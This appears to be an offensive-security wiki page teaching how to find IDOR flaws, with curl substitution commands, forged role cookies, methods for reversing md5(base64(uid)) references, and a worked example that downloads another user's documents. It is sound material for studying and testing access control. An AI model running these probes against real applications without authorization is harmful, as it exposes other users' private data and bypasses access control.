Skip to content

Identifying

Find the reference first, test access second. Four discovery surfaces in priority order:

# 1. URL parameters and path segments
?uid=1 ?file_id=123 ?contract=cdd9... /users/74 /files/Report.pdf
# 2. JSON body fields in API calls
{"uid": 74, "uuid": "40f5...", "role": "employee"}
# 3. AJAX call definitions in front-end JS (admin-only endpoints exposed in client code)
grep -rE 'ajax\(|fetch\(' static/js/
# 4. Headers and cookies carrying identity
Cookie: uid=1; role=employee X-User-Id: 1 Authorization: Bearer <token>
# Then for each reference: substitute, observe
curl -b 'PHPSESSID=mine' http://target/api/profile/2 # someone else's

Success indicator: you’ve cataloged every direct reference the app uses, identified which substitutions actually return foreign data, and know whether the references are sequential / hashed / encoded.

Surface 1 - URL parameters and path segments

Section titled “Surface 1 - URL parameters and path segments”

The textbook IDOR location. Browse the app as your test user, watch the URL bar and Burp HTTP history for any parameter or path component that maps to a resource you own.

Patterns that almost always identify a direct reference:

?uid=1 # user identifier
?id=123 # generic record ID
?file_id=123 # file lookup
?filename=Report.pdf # filename as direct handle
?invoice_id=2021-001 # composite key
?account_id=abc # opaque-looking but still a handle
/users/74 # REST path
/files/Report.pdf # filename in path
/documents/Invoice_1_09_2021.pdf # filename embeds owner's uid + date

Sequential numeric handles are the easiest case; you increment and watch. Filename-embedded handles like Invoice_1_09_2021.pdf are the second easiest - the 1 is the owner’s user ID, and 09_2021 is a date, so the file naming convention itself leaks the predictable pattern.

When you find a candidate, the test is just substitution:

Terminal window
# Baseline - your own resource
$ curl -sb 'PHPSESSID=mine' 'http://target/documents.php?uid=1' | wc -c
4823
# Substitute someone else's reference
$ curl -sb 'PHPSESSID=mine' 'http://target/documents.php?uid=2' | wc -c
3719
# Different size → different content → IDOR (probably)

Always check page size or hash the body, not just the rendered output - apps sometimes show the same UI shell but with different data inside. If wc -c differs, you got something different back even when the page looks similar.

For API endpoints, the reference is often inside the request body. Intercept the request:

PUT /profile/api.php/profile/1 HTTP/1.1
Cookie: PHPSESSID=...; role=employee
Content-Type: application/json
{
"uid": 1,
"uuid": "40f5888b67c748df7efba008e7c2f9d2",
"role": "employee",
"full_name": "Amy Lindon",
"email": "[email protected]",
"about": "..."
}

Note the multiple direct references in this one request:

  • uid in the body
  • uid in the URL path (/profile/1)
  • uuid in the body - opaque-looking handle, often the secondary key the back-end uses for authorization
  • role - privilege handle the back-end might trust from the body

Each is a separate candidate for substitution. The naive bypass tries each in isolation:

PUT /profile/api.php/profile/2 HTTP/1.1
{"uid": 2, "uuid": "...", "role": "employee", ...}

Many apps catch the mismatch ("uid mismatch", "uuid mismatch") - the lesson is these are partial defenses. A real engagement chains the disclosure surface (GET to retrieve someone else’s uuid) with the modification surface (PUT now-armed with the matching uuid). See Insecure APIs.

The interesting surface that black-box scanners miss. Many modern apps ship the entire function catalog in the JS bundle and gate each call by role on the client:

function changeUserPassword() {
$.ajax({
url: "change_password.php",
type: "post",
dataType: "json",
data: {uid: user.uid, password: user.password, is_admin: is_admin},
success: function(result){
//
}
});
}
function deleteUser(targetUid) {
if (!is_admin) return;
$.ajax({
url: "/api/users/" + targetUid,
type: "DELETE",
});
}

When you log in as a regular user, is_admin is false and deleteUser is never invoked from the UI. But the function exists in the JS - and the server-side endpoint /api/users/<id> exists too, because the JS calls it when an admin is logged in. The question: does the back-end check the caller’s role, or just trust that the UI gates the call?

To find these, scan the JS for ajax(, fetch(, and axios(:

Terminal window
# Save the page's resources
$ wget -r -np -k -p http://target/
# Find AJAX calls
$ grep -rnE "ajax\(|fetch\(|axios\." target/
# Or use Burp's "Find references" against the JS file in HTTP history

For minified bundles, use js-beautify or open in Chrome DevTools (Sources → right-click → “Format”). Most beautified bundles reveal function names that hint at the operation (changePassword, deleteUser, setRole, getAdminStats).

Each AJAX call definition is a candidate endpoint to probe directly with curl or Burp. Send the request as a non-admin user with admin-shaped parameters - if it succeeds, that’s IDOR.

Surface 4 - Headers, cookies, identity tokens

Section titled “Surface 4 - Headers, cookies, identity tokens”

The reference doesn’t always live in the URL or body. Sometimes the app trusts a header:

GET /api/profile HTTP/1.1
Cookie: uid=1; role=employee
X-User-Id: 1

Either or both of those identity carriers might be authoritative. Change them:

GET /api/profile HTTP/1.1
Cookie: uid=2; role=employee
X-User-Id: 2

The classic mistake: the server reads identity from a header the client sets. The header should come from the server-side session, never from a request the client constructs. When you see identity carried in a header, that’s the test - substitute and observe.

For bearer tokens (Authorization: Bearer eyJ...), the token may encode identity in its claims (JWT) or be opaque (random opaque session). For JWT, see JWT attacks; for opaque tokens, the question is whether a different user’s token works in your request - which it doesn’t unless you’ve harvested it (see Obtaining tokens).

When the reference looks opaque, don’t assume it’s secure. Apps frequently apply weak transformations that an operator can reverse.

Terminal window
# Suspect: ?filename=ZmlsZV8xMjMucGRm
$ echo 'ZmlsZV8xMjMucGRm' | base64 -d
file_123.pdf # base64 - now obviously enumerable
# Suspect: ?contract=cdd96d3cc73d1dbdaffa03cc6cd7339b
$ echo -n 1 | md5sum
c4ca4238a0b923820dcc509a6f75849b -
$ echo -n 1 | base64 | md5sum
cdd96d3cc73d1dbdaffa03cc6cd7339b - # match! it's md5(base64(uid))
# Or use hash-identifier for unknown algorithms
$ hash-identifier 'cdd96d3cc73d1dbdaffa03cc6cd7339b'
# (likely MD5)

The pattern to test, in order:

TryWhy
Base64 decodeMost common encoding
URL decodeSometimes the reference is just URL-encoded
Hex decodeLess common
echo -n <value> | md5sumThe reference might be md5(uid) directly
echo -n <value> | sha1sumLess common but exists
echo -n <value> | base64 | md5sumCombination
echo -n <username> | md5sumSometimes the username, not uid
echo -n <value>:<salt> | md5sumIf you can guess the salt (often the app name, domain, or secret)

The hash function variants get tried in increasing order of complexity. Most apps that hash references at all do something naive - the first three or four attempts usually find it.

When the hash isn’t an obvious format, the cleanest discovery method is reading the JS that calls the endpoint:

function downloadContract(uid) {
$.redirect("/download.php", {
contract: CryptoJS.MD5(btoa(uid)).toString(),
}, "POST", "_self");
}

This tells you: the contract field is md5(base64(uid)). Generate that for any uid:

Terminal window
$ echo -n 1 | base64 -w 0 | md5sum
cdd96d3cc73d1dbdaffa03cc6cd7339b -
$ echo -n 2 | base64 -w 0 | md5sum
0b7e7dee87b1c3b98e72131173dfbbbf -

Confirm by matching your test account’s expected hash. Once it matches, the references are “secure-looking” but mass-enumerable. See Mass enumeration.

The -n and -w 0 flags matter - they strip trailing newlines from echo and base64 respectively. A hash of 1\n is different from a hash of 1, and apps almost always hash without the newline.

Without front-end source, you can still brute-force the formula:

  1. Register two test accounts; capture each one’s reference value
  2. Try hashing each candidate (uid, username, email, account_creation_timestamp, …) with common algorithms (md5, sha1, sha256) and combinations
  3. When a candidate-algorithm pair produces both observed references, you’ve found it

Burp Comparer can help - paste your observed reference, then iterate test hashes and compare. If you build a small wordlist of (algorithm, input-source) pairs, it’s a quick scripted exercise.

When nothing matches, the references probably involve a server-side secret (HMAC) or non-deterministic input (random UUID stored in DB). Those are genuinely secure direct references - the bypass story has to come from the access-control layer instead, not from predicting the reference.

For advanced IDOR work, register two accounts with different roles and diff their requests. This reveals:

  • Endpoints only one role calls (admin-only function discoveries)
  • Parameters one role includes that the other doesn’t (role/permission claims in JSON body)
  • Headers that differ between roles (a Cookie: role=admin vs Cookie: role=user is a giant red flag)
  • API endpoints the admin role accesses with paths you can then try as the lower-privilege role

The workflow:

Account A (employee role) Account B (admin role)
│ │
│ Browse exhaustively │ Browse exhaustively
│ (Burp scope on the host) │ (Burp scope on the host)
▼ ▼
Site map A Site map B
│ │
└─────────── diff ─────────────┘
Endpoints in B but not A
Parameters in B but not A
Headers/cookies that differ
Try each B-only endpoint while
authenticated as A; observe

Burp Comparer (Tools → Compare site maps) is the canonical implementation. For each B-only endpoint, send the request through Burp Repeater with A’s cookies. If the server-side access-control is missing, A receives admin-level responses.

A specific case worth testing: the back-end may key authorization off role=employee in the request cookie rather than the session. Set Cookie: role=admin manually and re-issue the request. Apps that read role from the client-side cookie (depressingly common) accept the bypass instantly.

Suppose you find documents.php?uid=1 in an Employee Manager app:

Terminal window
# Step 1: confirm the reference matters
$ curl -sb 'PHPSESSID=mine' 'http://target/documents.php?uid=1' | grep -c '<li class'
2 # 2 document entries for me
# Step 2: substitute
$ curl -sb 'PHPSESSID=mine' 'http://target/documents.php?uid=2' | grep -c '<li class'
3 # 3 entries - different data, different user
# Step 3: extract the references
$ curl -sb 'PHPSESSID=mine' 'http://target/documents.php?uid=2' | grep -oP '/documents\S+\.pdf'
/documents/Invoice_2_08_2020.pdf
/documents/Report_2_12_2020.pdf
/documents/Notes_2.pdf
# Step 4: fetch a foreign document
$ curl -sb 'PHPSESSID=mine' 'http://target/documents/Invoice_2_08_2020.pdf' -o /tmp/foreign.pdf
$ file /tmp/foreign.pdf
/tmp/foreign.pdf: PDF document, version 1.4

Three substitutions, three confirmations:

  1. The uid parameter is honored without auth check (returns user 2’s document list)
  2. The document filenames embed the owner’s uid (predictable enumeration vector)
  3. Document downloads themselves don’t check ownership either (parallel IDOR in the static-file path)

Each is its own finding; mass enumeration is just looping over uid and downloading each result. See Mass enumeration.

TaskPattern
Spot URL-parameter reference?uid=, ?id=, ?file_id=, ?filename=, ?contract=, anything ending in _id or _uid
Spot REST path referenceSegments that look like numeric or UUID-shaped: /users/74, /files/abc-123
Spot JSON body referenceObject keys: uid, uuid, user_id, account_id, role
Spot header referenceX-User-Id, Cookie: uid=, anything client-set that names a user/resource
Find AJAX-defined endpoints in JSgrep -rnE 'ajax\(|fetch\(|axios\.' static/
Beautify minified JSjs-beautify file.min.js or DevTools Sources → “Format”
Test substitutionChange the reference value, compare response size
Reverse base64echo '<value>' | base64 -d
Test md5(uid)echo -n <uid> | md5sum
Test md5(base64(uid))echo -n <uid> | base64 -w 0 | md5sum
Test sha1(uid)echo -n <uid> | sha1sum
Identify hash formathash-identifier '<hash>'
Strip newlinesecho -n and base64 -w 0
Compare two accounts’ site mapsBurp → Tools → Compare site maps
Role-cookie probeManually set Cookie: role=admin and replay
Quick foreign-resource fetchcurl -b 'session=mine' 'http://target/api/profile/2'

For mass-extraction techniques after identification, continue to Mass enumeration. For the API-mutation patterns (PUT/POST/DELETE on user objects), see Insecure APIs.

Defenses D3-IAA